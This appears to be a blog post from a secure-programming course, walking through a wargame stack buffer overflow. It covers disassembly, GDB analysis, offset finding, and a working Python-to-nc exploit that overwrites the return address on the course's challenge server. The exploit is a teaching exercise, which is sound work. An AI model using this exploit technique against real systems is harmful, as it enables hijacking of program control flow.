In the course, Secure Programming, we are asked to solve wargame problems. Here comes the first practice: Stack Buffer Overflow.
Problem
void do_magic(char *buf,int n){ int i; srand(time(NULL)); for(i=0;i<n;i++) buf[i] ^= rand()%256; } void magic(){ char magic_str[60]; scanf("%s",magic_str); do_magic(magic_str,strlen(magic_str)); printf("%s",magic_str); }
Analysis
The structure looks like this: local variable stack -> frame pointer -> return address. And, our goal is to replace the content of return address, and make the program start to run unwanted function.
[Solution 1] Disassemble the bin file.
You can apply any of following tools:
- objdump: objdump -d magic
- Online decompiler: http://decompiler.fit.vutbr.cz/decompilation-run/
- IDA Pro
And, I can get:
08048681 <magic>: 8048681: 55 push %ebp 8048682: 89 e5 mov %esp,%ebp 8048684: 83 ec 58 sub $0x58,%esp 8048687: 8d 45 bc lea -0x44(%ebp),%eax 804868a: 89 44 24 04 mov %eax,0x4(%esp) 804868e: c7 04 24 36 88 04 08 movl $0x8048836,(%esp) 8048695: e8 66 fe ff ff call 8048500 <__isoc99_scanf@plt>
We can learn that the character array size would be 0x44 = 68. And, should add 4 for frame pointer.
*note: "ESP is the current stack pointer. EBP is the base pointer for the current stack frame."
[Solution 2] GDB debug analysis
>> gdb magic
(gdb) b magic
(gdb) run
(gdb) disas
Dump of assembler code for function magic: 0x08048681 <+0>: push %ebp 0x08048682 <+1>: mov %esp,%ebp 0x08048684 <+3>: sub $0x58,%esp 0x08048687 <+6>: lea -0x44(%ebp),%eax 0x0804868a <+9>: mov %eax,0x4(%esp) 0x0804868e <+13>: movl $0x8048836,(%esp) 0x08048695 <+20>: call 0x8048500 <__isoc99_scanf@plt> => 0x0804869a <+25>: lea -0x44(%ebp),%eax 0x0804869d <+28>: mov %eax,(%esp) 0x080486a0 <+31>: call 0x80484d0 <strlen@plt> 0x080486a5 <+36>: mov %eax,0x4(%esp) 0x080486a9 <+40>: lea -0x44(%ebp),%eax 0x080486ac <+43>: mov %eax,(%esp) 0x080486af <+46>: call 0x8048621 <do_magic> 0x080486b4 <+51>: lea -0x44(%ebp),%eax 0x080486b7 <+54>: mov %eax,0x4(%esp) 0x080486bb <+58>: movl $0x8048836,(%esp) 0x080486c2 <+65>: call 0x8048460 <printf@plt> 0x080486c7 <+70>: leave 0x080486c8 <+71>: ret
(gdb) info registers
Try different size of inputs until ebp is modified, and we can know the size for stack buffer overflow.
eax 0x1 1 ecx 0x1 1 edx 0xf7fb88c4 -134510396 ebx 0xf7fb6ff4 -134516748 esp 0xffffd560 0xffffd560 ebp 0xffffd5b8 0xffffd5b8 esi 0x0 0 edi 0x0 0 eip 0x804869a 0x804869a <magic+25> eflags 0x286 [ PF SF IF ] cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x63 99
Try different size of inputs until ebp is modified, and we can know the size for stack buffer overflow.
Solution
(python -c 'print "heron\n" + "\x00"*72 + "\x0e\x86\x04\x08"' && cat) | nc secprog.cs.nctu.edu.tw 6666
- ( python ... && cat ) is designed for not passing EOF to nc, which may close the connection before we interact with it.
- \x0e\x86\x04\x08 is the address of the function we want the program to run, and it's indicated in little endian.
No comments:
Post a Comment